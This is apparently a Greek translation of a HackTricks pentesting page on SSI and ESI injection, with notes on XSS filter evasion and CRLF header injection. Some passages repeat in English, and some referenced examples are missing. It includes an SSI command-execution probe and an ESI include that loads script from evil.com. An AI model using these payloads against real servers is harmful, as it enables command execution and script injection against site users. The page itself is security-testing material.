<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
Οι SSI (Server Side Includes) είναι οδηγίες που **τοποθετούνται σε σελίδες HTML και αξιολογούνται στον εξυπηρετητή** κατά την παροχή των σελίδων. Σας επιτρέπουν να**προσθέτετε δυναμικά δημιουργημένο περιεχόμενο** σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να παρέχετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας.\
Για παράδειγμα, μπορείτε να τοποθετήσετε μια οδηγία σε μια υπάρχουσα σελίδα HTML, όπως:
Η απόφαση για το πότε να χρησιμοποιήσετε SSI και πότε να έχετε τη σελίδα σας πλήρως δημιουργημένη από κάποιο πρόγραμμα, είναι συνήθως θέμα του πόσο μεγάλο μέρος της σελίδας είναι στατικό και πόσο χρειάζεται να επανυπολογίζεται κάθε φορά που παρέχεται η σελίδα. Η SSI είναι ένας εξαιρετικός τρόπος γιανα προσθέσετε μικρά κομμάτια πληροφοριών, όπως η τρέχουσα ώρα - που φαίνεται παραπάνω. Αλλά εάν ένα μεγάλο μέρος της σελίδας σας δημιουργείται κατά την παροχή της, πρέπει να αναζητήσετε κάποια άλλη λύση.
Μπορείτε να συμπεράνετε την παρουσία της SSI εάν η web εφαρμογή χρησιμοποιεί αρχεία με τις επεκτάσεις \*\* `.shtml`, `.shtm` ή `.stm`\*\*, αλλά δεν είναι μόνο αυτή η περίπτωση.
Για να ελέγξετε αν μια εφαρμογή είναι ευάλωτη σε επίθεση Server-Side Inclusion (SSI) ή Edge-Side Inclusion (ESI) Injection, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:
1. Ελέγξτε τον κώδικα της εφαρμογής για τυχόν αδυναμίες ασφαλείας που μπορεί να επιτρέπουν την εκτέλεση κακόβουλου κώδικα.
2. Αναζητήστε ενδείξεις ότι η εφαρμογή χρησιμοποιεί SSI ή ESI, όπως τα ακόλουθα στοιχεία:
- Χρήση των διευθύνσεων URL που περιέχουν τον χαρακτήρα "#" ή τον χαρακτήρα "!".
- Χρήση των εντολών SSI, όπως το `<!--#include virtual="file.txt" -->`.
- Χρήση των εντολών ESI, όπως το `<esi:include src="file.txt" />`.
3. Εκτελέστε δοκιμές εισχώρησης γιανα ελέγξετε αν μπορείτε να εισχωρήσετε κακόβουλο κώδικα μέσω των εντολών SSI ή ESI. Χρησιμοποιήστε ειδικούς χαρακτήρες, όπως το `<!--#exec cmd="ls" -->`για SSI ή το `<esi:include src="http://evil.com/malicious.js" />`για ESI.
4. Ελέγξτε την απόκριση της εφαρμογής γιανα δείτε ανο κακόβουλος κώδικας εκτελέστηκε με επιτυχία.
5. Αναφέρετε τυχόν ευπάθειες που ανακαλύψατε στους υπεύθυνους της εφαρμογής, ώστε να μπορέσουν να ληφθούν τα απαραίτητα μέτρα ασφαλείας.
Αυτές οι διαδικασίες θα σας βοηθήσουν να ελέγξετε την ευπάθεια μιας εφαρμογής σε επίθεση SSI ή ESI Injection. Είναι σημαντικό να είστε προσεκτικοί και να τηρείτε τους κανόνες ασφαλείας κατά την εκτέλεση αυτών των ελέγχων.
Υπάρχει ένα πρόβλημα με την **προσωρινή αποθήκευση πληροφοριών ή δυναμικών εφαρμογών** καθώς μέρος του περιεχομένου μπορεί να**μεταβληθεί**για την επόμενη φορά που θα ανακτηθεί το περιεχόμενο. Αυτό είναι αυτό που χρησιμοποιείται η **ESI**, γιανα υποδείξει χρησιμοποιώντας ετικέτες ESI το **δυναμικό περιεχόμενο που πρέπει να δημιουργηθεί** πριν αποσταλεί η αποθηκευμένη έκδοση.\
Εάν ένας **επιτιθέμενος** είναι σε θέση να**εισαγάγει μια ετικέτα ESI** μέσα στο περιεχόμενο της προσωρινής αποθήκευσης, τότε μπορεί να είναι σε θέση να**εισάγει αυθαίρετο περιεχόμενο** στο έγγραφο πριν αποσταλεί στους χρήστες.
[Η GoSecure δημιούργησε](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) έναν πίνακα γιανα κατανοήσει τις πιθανές επιθέσεις που μπορούμε να δοκιμάσουμε εναντίον διαφορετικού λογισμικού που υποστηρίζει ESI, ανάλογα με την υποστηριζόμενη λειτουργικότητα:
* **Includes**: Υποστηρίζει την οδηγία `<esi:includes>`
* **Vars**: Υποστηρίζει την οδηγία `<esi:vars>`. Χρήσιμο για την απόφυγη των XSS φίλτρων
* **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα από τη μηχανή ESI
* **Απαιτούνται επικεφαλίδες από τον πάνω ροή**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η πάνω ροή παρέχει τις επικεφαλίδες
* **Λευκή λίστα κεντρικού διακομιστή**: Σε αυτήν την περίπτωση, οι ESI περιλήψεις είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας δυνατή, για παράδειγμα, την SSRF μόνο εναντίον αυτών των διακομιστών
In some cases, the client-side XSS protection mechanisms implemented in web applications may not be sufficient to prevent XSS attacks. However, there are techniques that can be used to bypass these protections and successfully execute XSS payloads.
Σε ορισμένες περιπτώσεις, οι μηχανισμοί προστασίας XSS που έχουν εφαρμοστεί στις εφαρμογές ιστού του πελάτη ενδέχεται να μην είναι επαρκείς γιανα αποτρέψουν επιθέσεις XSS. Ωστόσο, υπάρχουν τεχνικές που μπορούν να χρησιμοποιηθούν γιανα παρακαμφθούν αυτές οι προστασίες και να εκτελεστούν με επιτυχία φορτία XSS.
One common technique is to use different encoding or obfuscation methods to evade the client-side XSS filters. This can include encoding special characters, using alternative representations of the payload, or employing JavaScript functions to dynamically generate the payload at runtime.
Μία συνηθισμένη τεχνική είναι η χρήση διαφορετικών μεθόδων κωδικοποίησης ή απόκρυψης γιανα αποφευχθούν οι φίλτρα XSS του πελάτη. Αυτό μπορεί να περιλαμβάνει την κωδικοποίηση ειδικών χαρακτήρων, τη χρήση εναλλακτικών αναπαραστάσεων του φορτίου ή τη χρήση συναρτήσεων JavaScript για τη δυναμική δημιουργία του φορτίου κατά την εκτέλεση.
Another approach is to exploit vulnerabilities in the web application's server-side code that can be used to inject and execute malicious scripts. This can include server-side inclusion vulnerabilities, such as Server-Side Template Injection (SSTI) or Server-Side Request Forgery (SSRF), which can be leveraged to bypass client-side XSS protections.
Μια άλλη προσέγγιση είναι η εκμετάλλευση ευπαθειών στον κώδικα της εφαρμογής ιστού στην πλευρά του διακομιστή που μπορούν να χρησιμοποιηθούν για την εισαγωγή και εκτέλεση κακόβουλων σεναρίων. Αυτό μπορεί να περιλαμβάνει ευπάθειες στην πλευρά του διακομιστή, όπως η ενσωμάτωση πλευράς διακομιστή (Server-Side Template Injection - SSTI) ή η πλαστογραφία αιτήσεων πλευράς διακομιστή (Server-Side Request Forgery - SSRF), οι οποίες μπορούν να χρησιμοποιηθούν για την παράκαμψη των προστασιών XSS του πελάτη.
It is important for penetration testers and developers to be aware of these techniques in order to effectively test and secure web applications against XSS attacks.
Είναι σημαντικό οι ειδικοί σε δοκιμές διείσδυσης και οι προγραμματιστές να είναι ενήμεροι για αυτές τις τεχνικές προκειμένου να δοκιμάσουν και να ασφαλίσουν αποτελεσματικά τις εφαρμογές ιστού από επιθέσεις XSS.
CRLF (Carriage Return Line Feed) είναι μια ακολουθία χαρακτήρων που αποτελείται από έναν χαρακτήρα επιστροφής καρέτου (CR) και έναν χαρακτήρα τελείας γραμμής (LF). Αυτή η ακολουθία χρησιμοποιείται γιανα υποδείξει το τέλος μιας γραμμής κειμένου σε πολλά συστήματα λειτουργίας.
Η εκμετάλλευση του CRLF μπορεί να οδηγήσει σε ευπάθειες όπως η εισχώρηση σε ένα σύστημα μέσω ενός επιθέτου HTTP Response Splitting. Αυτό συμβαίνει όταν ο επιτιθέμενος εισάγει τον χαρακτήρα CRLF σε μια αίτηση HTTP, προκαλώντας την αναγνώριση της ακολουθίας ως διαχωριστικό γραμμής από τον διακομιστή. Αυτό μπορεί να οδηγήσει σε διάφορες επιθέσεις, όπως την εισχώρηση σε αρχεία καταγραφής, την εισχώρηση σε αρχεία διαμόρφωσης και τη διαρροή ευαίσθητων πληροφοριών.
Για να προστατευθείτε από επιθέσεις CRLF, πρέπει να ελέγξετε την είσοδο χρηστών και να αποφεύγετε την εισαγωγή του χαρακτήρα CRLF σε αιτήσεις HTTP. Επίσης, είναι σημαντικό να ενημερώνετε το λογισμικό σας και να εφαρμόζετε τις τελευταίες ενημερώσεις ασφαλείας γιανα αποτρέψετε τυχόν ευπάθειες που εκμεταλλεύονται το CRLF.
Ο ευπάθεια αυτή αφορά την προσθήκη κεφαλίδας με CRLF (Carriage Return Line Feed) σε αιτήματα HTTP. Αυτό μπορεί να οδηγήσει σε εκτέλεση κακόβουλου κώδικα ή σε διάρροια πληροφοριών. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την ευπάθεια γιανα προσθέσει κακόβουλες κεφαλίδες στις απαντήσεις του διακομιστή, προκαλώντας πιθανώς επιθέσεις XSS (Cross-Site Scripting) ή άλλες επιθέσεις.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να εισάγετε τον κακόβουλο κώδικα μεταξύ των χαρακτήρων CRLF. Αυτό μπορεί να γίνει με τη χρήση ειδικών χαρακτήρων, όπως το `%0d`για τον χαρακτήρα CR και το `%0a`για τον χαρακτήρα LF. Ο κακόβουλος κώδικας που εισάγετε μπορεί να περιλαμβάνει εντολές εκτέλεσης κώδικα, αλλαγή κεφαλίδων ή ακόμα και διαρροή πληροφοριών.
Για να προστατευθείτε από αυτήν την ευπάθεια, πρέπει να ελέγξετε την είσοδο των χρηστών και να αποφεύγετε την αυτόματη προσθήκη κεφαλίδων στις απαντήσεις του διακομιστή. Επίσης, πρέπει να ενημερώνετε το λογισμικό σας για τυχόν ενημερώσεις ασφαλείας που διορθώνουν αυτήν την ευπάθεια.
Με την καθορισμένη τιμή `xslt`για την παράμετρο _dca_, είναι εφικτή η συμπερίληψη **`eXtensible Stylesheet Language Transformations (XSLT)`** βασισμένου ESI. Η συμπερίληψη προκαλεί τον HTTP surrogate να ανακτήσει τα αρχεία XML και XSLT, με το τελευταίο να φιλτράρει το πρώτο. Τέτοια αρχεία XML είναι εκμεταλλεύσιμα για επιθέσεις _XML External Entity (XXE)_, επιτρέποντας στους επιτιθέμενους να εκτελέσουν επιθέσεις SSRF. Ωστόσο, η χρησιμότητα αυτής της προσέγγισης είναι περιορισμένη, αφού οι ESI συμπεριλήψεις ήδη λειτουργούν ως διανύσματα SSRF. Λόγω της έλλειψης υποστήριξης στην υποκείμενη βιβλιοθήκη Xalan, τα εξωτερικά DTD δεν επεξεργάζονται, εμποδίζοντας την εξαγωγή τοπικών αρχείων.
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.